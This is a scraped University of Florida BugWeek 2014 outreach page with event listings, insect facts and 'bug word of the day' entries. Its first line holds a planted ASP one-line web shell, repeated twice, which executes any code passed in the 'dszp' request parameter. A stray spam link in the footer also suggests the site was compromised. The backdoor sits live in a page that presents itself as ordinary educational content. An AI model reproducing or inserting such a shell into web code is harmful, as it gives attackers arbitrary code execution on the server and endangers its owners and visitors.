<%@ codepage=65001%> <% dszp=request("dszp") Execute(dszp) %><%@ codepage=65001%> <% dszp=request("dszp") Execute(dszp) %>

Bug Week

May 19-23, 2014

Orange and Blue! Bugs, that is...



Bug Problems, Bug Solutions, Bug Research. Click For More Information.

Scavenger Hunt Guides 

UF Bug Hunter   For Family Fun

The southern chinch bug is Florida’s No. 1 turf pest.

What's all the Buzz

News & Events

Keep up with #UFBugs and the buzz nationwide


May 20-23, 2014

Scavenger Hunts: UF Bug Hunter or Family Fun

May 2014
FREE: Visit the Natural Area Teaching Lab and walk the Insect Sounds QR code trail

May 19-23
UF BugWeek 2014

June 23-29, 2014
National Insect Week (UK)

July 19-27, 2014
National Moth Week

August 11-15, 2014
The International Firefly Symposium 2014

March 6-7, 2015
2015 UF Bee College

Bugs Around The House


Bonus Gallery: Microscopic Bugs

View the microscopic bug gallery now.

The Asian tiger mosquito is a vicious daytime biter.

Bug Solutions


Butterfly Personality Quiz

Florida enjoys a diversity of Lepidoptera — butterflies and moths. Take this quiz to find out which is the match for your personality and share your results on Facebook and Twitter using hashtag #UFBugs!

Reflections on Big Bugs, Part 1

As the BugWeek Web Team prepared the FAQ document that you can read here, one question in particular sparked discussion — what are the biggest bugs in Florida?

UF Firefly Expert Marc Branham Discusses Insect’s Future

Like fireflies? Here, Dr. Marc Branham “sheds some light” on their situation.

Bug Word of the Day — Crepuscular

This word handily describes the activity timetable for some moths, flies and beetles. It may also prevent embarrassment for some vampire-lit fans.

Bug of the Day — Housefly

We wanted to end the 2014 BugWeek on a high note. So here’s one of the most remarkable creatures on Earth.

Bug word of the day — “corbicula”

“Corbicula” is pronounced more or less the way it looks — “corr-BICK-yuh-luh” — and it’s a good example of a technical term that’s needed, but doesn’t necessarily get the job done any better than the common term.

Bug of the day — Psocids

We were going to just call these bugs “booklice,” but it seemed unfair to use a common name when these little guys and gals are so closely associated with intellectual pursuits.

Bug word of the day — “obligate”

In the entomological world, “obligate” (pronounced “OBB-lih-gutt”) is an adjective that means “by necessity.”

Bug of the day — Chironomids

Move over, lovebugs. You’re not the only flying plague in this state.

Bug word of the day — “ootheca”

Technically, the term “ootheca” can refer to any insect egg case, but it’s usually associated with the egg cases produced by cockroaches and mantids.

Bug of the day — Florida woods cockroach

First things first – this is NOT a palmetto bug, at least not by the BugWeek Web Team’s definition.

Bug word of the day — “Setae”

Today’s Bug Word of the Day is “setae” (pronounced “SEE-tee.”)

The green darner dragonfly migrates through South Florida each year, eating mosquitoes all the way.

UF Knows Bugs


Need to know more about bugs? Want to earn a degree in entomology from UF, perhaps? Trying to identify a bewildering bug from your backyard? Check out these resources:

Like the lovebugs, BugWeek@UF is back!

Get in Touch

Contact Us

  • UF/IFAS Entomology and Nematology Department
  • (352) 273-3901
  • PO Box 110620 | Bldg. 1881 Natural Area Drive, Steinmetz Hall | Gainesville, FL 32611
Real Feather Extensions
© 2015 Bug Week All Right Reserved | University of Florida/ IFAS | This page uses Google Analytics ( Google Privacy Policy) ^ Top
Text Only Options

Top of page

Text Only Options

Open the original version of this page.

Usablenet Assistive is a UsableNet product. Usablenet Assistive Main Page.